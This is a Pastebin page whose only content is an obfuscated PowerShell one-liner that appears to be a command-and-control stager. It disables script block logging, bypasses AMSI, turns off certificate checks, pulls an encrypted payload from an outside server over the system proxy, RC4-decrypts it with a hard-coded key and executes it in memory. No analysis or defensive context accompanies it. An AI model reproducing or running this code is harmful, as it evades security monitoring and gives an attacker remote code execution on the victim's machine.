Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- IF($PSVERsiOnTABle.PSVerSion.MaJOR -ge 3){$GPS=[rEf].ASSeMbLy.GEtTYpE('System.Management.Automation.Utils')."GETFIE`LD"('cachedGroupPolicySettings','N'+'onPublic,Static').GEtVALue($nULl);If($GPS['ScriptB'+'lockLogging']){$GPS['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;$GPS['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}ELSe{[SCrIPTBLocK]."GeTFie`Ld"('signatures','N'+'onPublic,Static').SeTValuE($nulL,(NEW-ObjecT COlleCTIOnS.GeneRic.HasHSet[sTrINg]))}[REf].AsSeMbLy.GEtTYPE('System.Management.Automation.AmsiUtils')|?{$_}|%{$_.GetFieLD('amsiInitFailed','NonPublic,Static').SETVAlUe($nuLl,$TRuE)};};[SYsTeM.Net.SErvIcePoInTMANagER]::ExpEct100CONTinuE=0;$wc=New-OBJECt SYsTeM.NeT.WEBClIEnt;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};$wc.HeADERs.ADD('User-Agent',$u);$wC.PrOxY=[SystEm.NeT.WeBReQUeSt]::DefAulTWEBProxY;$wC.Proxy.CredeNTiaLS = [SYsTEM.NeT.CREdEntiaLCAcHe]::DeFAuLTNETwORkCREdeNtiAls;$Script:Proxy = $wc.Proxy;$K=[SYSTeM.TExt.ENcodinG]::ASCII.GeTBYtES('505dd62e251005fa796e32e9651b6310');$R={$D,$K=$ArgS;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.CoUNt])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-BXOR$S[($S[$I]+$S[$H])%256]}};$ser='https://www.thestar.live:443';$t='/admin/get.php';$Wc.HeAdeRs.Add("Cookie","session=U9sA950bfXExCOpR+UrnKFWh8K0=");$DAta=$WC.DoWNlOaDDATA($seR+$T);$IV=$DATa[0..3];$dATa=$DAtA[4..$daTA.lENGTH];-JOiN[CHAR[]](& $R $DaTa ($IV+$K))|IEX
Advertisement
Add Comment
Please, Sign In to add comment
